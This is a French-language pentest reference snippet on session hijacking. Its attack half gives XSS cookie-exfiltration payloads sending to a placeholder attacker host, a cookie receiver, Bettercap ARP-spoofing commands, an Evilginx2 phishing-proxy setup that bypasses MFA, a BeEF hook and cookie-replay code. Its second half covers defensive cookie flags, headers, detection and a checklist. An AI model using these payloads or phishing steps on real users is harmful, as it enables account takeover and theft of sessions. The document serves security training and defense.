---
title: "Vol de session — Session Hijacking"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [session-hijacking, xss, cookie, evilginx, beef, session-fixation, csrf, burpsuite, pentest, blue-team]
difficulty: advanced
status: stable
updated: "2026-05-14"
---
## Vue d'ensemble

```
Vecteurs de vol de session :

[XSS]         → document.cookie → exfiltration vers serveur attaquant
[MITM]        → sniff trafic HTTP → cookie en clair
[Evilginx2]   → reverse proxy transparent → capture cookie POST-2FA
[Fixation]    → forcer un session ID connu → victime s'authentifie avec ce ID
[BeEF]        → hook navigateur → steal cookies + actions dans le contexte auth
[Phishing]    → fausse page identique → proxy relay → vrai cookie transféré

Objectif final : rejouer le cookie dans Burp/navigateur → session active sans credentials
```

---

## Vecteur 1 — Vol de cookie via XSS

```javascript
// Payload XSS — exfiltration document.cookie
<script>
  new Image().src = "http://{{LHOST}}:{{LPORT}}/steal?c=" + encodeURIComponent(document.cookie);
</script>

// Version encodée (contourne filtres basiques)
<img src=x onerror="fetch('http://{{LHOST}}:{{LPORT}}/?c='+btoa(document.cookie))">

// Via fetch (plus discret, pas de requête image dans le DOM)
<script>fetch("http://{{LHOST}}:{{LPORT}}/c?"+document.cookie)</script>

// Stored XSS — payload injecté dans un champ persistant (commentaire, profil)
// → se déclenche pour chaque visiteur authentifié
```

```bash
# Récepteur côté attaquant — serveur Python minimal
python3 -c "
import http.server, urllib.parse
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        print('[COOKIE]', urllib.parse.unquote(self.path))
        self.send_response(200); self.end_headers()
    def log_message(self, *a): pass
http.server.HTTPServer(('0.0.0.0', {{LPORT}}), H).serve_forever()
"

# Ou via netcat (brut)
nc -lvnp {{LPORT}}
```

```bash
# Récepteur avec Burp Collaborator (lab externe)
# Générer une URL unique : Burp → Collaborator → Copy to clipboard
# Injecter : <script>fetch('https://{{BURP_COLLAB_URL}}/?c='+document.cookie)</script>
# → Les cookies arrivent dans l'onglet Collaborator
```

---

## Vecteur 2 — Interception réseau (HTTP non chiffré)

```bash
# Bettercap — sniffer cookies HTTP en clair
bettercap -iface {{INTERFACE}}

# Dans la console :
net.probe on
set arp.spoof.targets {{VICTIM_IP}}
set arp.spoof.fullduplex true
arp.spoof on

# Activer le sniffer avec filtre cookie
set net.sniff.filter "port 80"
set net.sniff.regexp "Cookie:.*"
net.sniff on
```

```bash
# tcpdump — capturer les headers HTTP avec cookies
tcpdump -i {{INTERFACE}} -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' \
  | grep -E "Cookie:|Set-Cookie:"

# Wireshark — filtre pour extraire les cookies
# http.cookie or http.set_cookie
# Suivre le flux TCP → copier la valeur Cookie: header
```

---

## Vecteur 3 — Evilginx2 — Reverse proxy transparent (bypass 2FA)

```
Architecture Evilginx2 :

Victime ──► https://{{PHISH_DOMAIN}} ──► Evilginx2 ──► https://{{LEGIT_DOMAIN}}
                  (faux domaine)           (proxy)          (vrai site)

Evilginx capture :
  - Credentials saisis
  - Cookie de session APRÈS authentification + 2FA
  → Rejouer le cookie = accès sans MFA
```

```bash
# Installation Evilginx2
apt install golang-go -y
git clone https://github.com/kgretzky/evilginx2
cd evilginx2 && make

# Lancer (nécessite un domaine + certificat Let's Encrypt auto)
./evilginx2 -p phishlets/

# Configuration dans la console :
config domain {{PHISH_DOMAIN}}
config ipv4 {{SERVER_IP}}

# Choisir un phishlet (template pour un site cible)
phishlets hostname o365 {{PHISH_SUBDOMAIN}}.{{PHISH_DOMAIN}}
phishlets enable o365

# Créer un lien de phishing (lure)
lures create o365
lures get-url {{LURE_ID}}
# → URL à envoyer à la victime

# Dès que la victime s'authentifie (y compris 2FA) :
sessions                          # lister les sessions capturées
sessions {{SESSION_ID}}           # voir les tokens/cookies
```

```bash
# Rejouer le cookie volé dans Firefox
# Extensions : Cookie-Editor ou EditThisCookie
# Aller sur https://{{LEGIT_DOMAIN}}
# Importer le cookie capturé (nom, valeur, domaine, chemin)
# Recharger → session active
```

---

## Vecteur 4 — Session Fixation

```
Principe :
1. Attaquant génère un session ID valide (ou le fixe via URL/cookie)
2. Victime reçoit ce session ID (via lien piégé, injection de cookie)
3. Victime s'authentifie → serveur associe ses credentials à ce session ID
4. Attaquant utilise le même session ID → session auth active
```

```bash
# Test manuel — vérifier si le session ID change après login
# Avant login :
# Session ID = ABC123
# Après login :
# Session ID = ABC123  ← VULNÉRABLE (pas de régénération)
# Session ID = XYZ789  ← PROTÉGÉ (nouveau ID généré)

# Injecter un session ID via paramètre URL (si supporté par l'app)
# https://{{TARGET}}/login?PHPSESSID={{FIXED_SESSION_ID}}
# → Si le serveur accepte, la victime s'authentifie avec ce PHPSESSID

# Forcer un cookie via sous-domaine (si domaine parent accepte les cookies)
# Depuis attacker.{{TARGET_DOMAIN}} :
document.cookie = "PHPSESSID={{FIXED_SESSION_ID}}; domain=.{{TARGET_DOMAIN}}; path=/";
```

---

## Vecteur 5 — BeEF (Browser Exploitation Framework)

```bash
# Installer BeEF
git clone https://github.com/beefproject/beef
cd beef && ./install
./beef

# Interface web : http://127.0.0.1:3000/ui/panel
# Credentials par défaut : beef / beef (à changer dans config.yaml)

# Hook JavaScript à injecter dans la page cible (via XSS stored)
<script src="http://{{LHOST}}:3000/hook.js"></script>
```

```javascript
// Une fois le navigateur hookés (zombie dans BeEF) :
// Modules disponibles :

// [Steal Cookies] — exfiltrer document.cookie
// Network → Get Cookie

// [Session Rider] — envoyer des requêtes HTTP dans le contexte de la victime
// Network → Raw Request → POST /api/transfer avec les cookies injectés auto

// [Redirect Browser] — rediriger vers une page de phishing
// Browser → Redirect Browser → URL : http://{{LHOST}}/fake-login

// [Screenshot] — capture d'écran du navigateur
// Browser → Screenshot

// [Keylogger] — enregistrer les frappes sur les formulaires
// Browser → Hooked Domain → Get Form Values
```

---

## Vecteur 6 — Manipulation de session avec Burp Suite

```bash
# Capturer une requête authentifiée dans Burp Proxy
# → Clic droit → Send to Repeater

# Dans Repeater : modifier le cookie de session
# Cookie: session={{STOLEN_SESSION_TOKEN}}

# Comparer la réponse avec le token original vs volé
# Si réponse identique → session valide

# Burp Intruder — brute-force de session ID (si faible entropie)
# § autour du token → Payload : liste de tokens générés
# Bruteforcer en cherchant une réponse 200 vs 302 (redirect login)
```

```python
# Script Python — rejouer un cookie volé
import requests

cookies = {
    "session": "{{STOLEN_SESSION_TOKEN}}",
    "PHPSESSID": "{{STOLEN_PHPSESSID}}"
}

r = requests.get("https://{{TARGET}}/dashboard", cookies=cookies, allow_redirects=False)
print(r.status_code)        # 200 = session active, 302 = session expirée
print(r.text[:500])         # contenu de la page authentifiée
```

---

## Défense — Flags de sécurité des cookies

```python
# Python (Flask) — configuration sécurisée des cookies
app.config.update(
    SESSION_COOKIE_SECURE=True,       # HTTPS uniquement
    SESSION_COOKIE_HTTPONLY=True,     # inaccessible via document.cookie
    SESSION_COOKIE_SAMESITE='Strict', # bloque CSRF + cookies cross-site
    SESSION_COOKIE_NAME='__Host-sess' # préfixe __Host- force Secure + pas de sous-domaine
)
```

```java
// Java (Spring Boot) — configuration sécurisée
// application.properties
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.same-site=strict
```

```php
// PHP — forcer les flags sécurisés
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_samesite', 'Strict');
ini_set('session.use_strict_mode', 1);  // rejette les session IDs imposés de l'extérieur
session_start();
```

```javascript
// Node.js (Express + express-session)
app.use(session({
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    secure: true,
    httpOnly: true,
    sameSite: 'strict',
    maxAge: 3600000  // 1h — courte durée de vie
  }
}));
```

---

## Défense — Régénération du session ID

```php
// PHP — régénérer le session ID après login (anti-fixation)
session_start();
// ... vérification credentials ...
if ($credentials_valid) {
    session_regenerate_id(true);  // true = détruit l'ancien ID
    $_SESSION['user'] = $user;
}
```

```python
# Flask — régénérer à chaque élévation de privilège
from flask import session
import secrets

@app.route('/login', methods=['POST'])
def login():
    if verify_credentials(request.form):
        session.clear()                          # vide l'ancienne session
        session['user'] = request.form['user']
        session['_csrf_token'] = secrets.token_hex(32)
        return redirect('/dashboard')
```

---

## Défense — Headers HTTP

```nginx
# Nginx — headers de sécurité
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{{CSP_NONCE}}'; object-src 'none';" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "no-referrer" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
```

```
CSP anti-XSS (Content-Security-Policy) :
  script-src 'self'              → bloque les scripts inline et cross-origin
  script-src 'nonce-{{NONCE}}'   → autorise uniquement les scripts avec le bon nonce
  object-src 'none'              → bloque Flash, Java (obsolètes mais encore injectés)

Impact sur le vol de cookie XSS :
  → fetch() et new Image() bloqués si connect-src 'self'
  → document.cookie accessible même avec CSP (seul HttpOnly bloque ça)
```

---

## Défense — Détection (SIEM / logs)

```bash
# Nginx — identifier les sessions rejouées depuis des IPs différentes
awk '{print $1, $7, $12}' /var/log/nginx/access.log | \
  grep -v "{{OWN_IP}}" | sort | uniq -c | sort -rn | head -30

# Chercher les accès depuis plusieurs IPs avec le même session token
# (indicateur de session hijacking actif)
grep "{{SESSION_TOKEN}}" /var/log/nginx/access.log | awk '{print $1}' | sort -u
# > 2 IPs distinctes avec même token = compromission probable
```

```python
# Validation côté serveur — lier la session à l'empreinte navigateur
import hashlib

def make_session_fingerprint(request):
    raw = request.headers.get('User-Agent', '') + request.headers.get('Accept-Language', '')
    return hashlib.sha256(raw.encode()).hexdigest()[:16]

# Au login : stocker le fingerprint dans la session
session['fingerprint'] = make_session_fingerprint(request)

# À chaque requête : vérifier
if session.get('fingerprint') != make_session_fingerprint(request):
    session.clear()
    abort(401)  # session invalidée — fingerprint ne correspond plus
```

```sql
-- Détecter les sessions actives depuis des localisations inhabituelles
-- (si GeoIP est logué)
SELECT session_id, user_id, ip, country, created_at
FROM user_sessions
WHERE user_id = {{USER_ID}}
  AND country NOT IN (
    SELECT DISTINCT country FROM user_sessions
    WHERE user_id = {{USER_ID}} AND created_at < NOW() - INTERVAL '30 days'
  );
```

---

## Référence — Flags de sécurité des cookies

| Flag | Protection | Contre quoi |
|---|---|---|
| `HttpOnly` | `document.cookie` inaccessible en JS | XSS cookie theft |
| `Secure` | Cookie envoyé uniquement en HTTPS | Sniffing HTTP / MITM |
| `SameSite=Strict` | Cookie non envoyé en requête cross-site | CSRF, Clickjacking relay |
| `SameSite=Lax` | Envoyé sur navigation top-level uniquement | CSRF (partiel) |
| `__Host-` préfixe | Force Secure + domaine exact + path=/ | Injection depuis sous-domaine |
| `__Secure-` préfixe | Force Secure uniquement | Cookie HTTP downgrade |

---

## Checklist défensive — gestion des sessions

<Checklist
  storageKey="session-hijacking-defense"
  items={[
    { id: "httponly", label: "HttpOnly activé sur tous les cookies de session", critical: true },
    { id: "secure-flag", label: "Secure flag activé — cookies envoyés uniquement en HTTPS", critical: true },
    { id: "samesite", label: "SameSite=Strict ou Lax sur les cookies de session", critical: true },
    { id: "session-regen", label: "Session ID régénéré après login (session_regenerate_id)", critical: true },
    { id: "strict-mode", label: "session.use_strict_mode = 1 (PHP) — rejette les IDs imposés", critical: true },
    { id: "csp-header", label: "Content-Security-Policy avec connect-src 'self' (bloque exfiltration XSS)" },
    { id: "hsts", label: "HSTS avec includeSubDomains + preload (empêche SSL strip)" },
    { id: "short-ttl", label: "Durée de vie des sessions courte (≤ 1h) + invalidation à la déconnexion" },
    { id: "fingerprint", label: "Empreinte navigateur (UA + Accept-Language) liée à la session" },
    { id: "concurrent-session", label: "Détection sessions simultanées depuis IPs différentes" },
    { id: "cookie-prefix", label: "Préfixe __Host- sur les cookies critiques" },
    { id: "log-session-events", label: "Log des créations/destructions de session avec IP + UA" }
  ]}
/>

<Warning>
Evilginx2 contourne le MFA car il capture le cookie de session APRÈS l'authentification complète. HttpOnly et Secure ne protègent pas contre ce vecteur — la seule défense efficace est le token binding (lier le cookie TLS au certificat client) ou les passkeys/FIDO2 qui signent le domaine réel, rendant les credentials inutilisables sur un domaine proxy.
</Warning>

<Tip>
Le flag `SameSite=Strict` est souvent la mesure la plus simple et la plus impactante : il bloque à la fois le CSRF et l'envoi de cookies depuis un domaine de phishing. L'inconvénient est qu'il casse les liens externes vers des pages authentifiées (l'utilisateur est redirigé vers le login). `SameSite=Lax` est un bon compromis pour la plupart des applications.
</Tip>
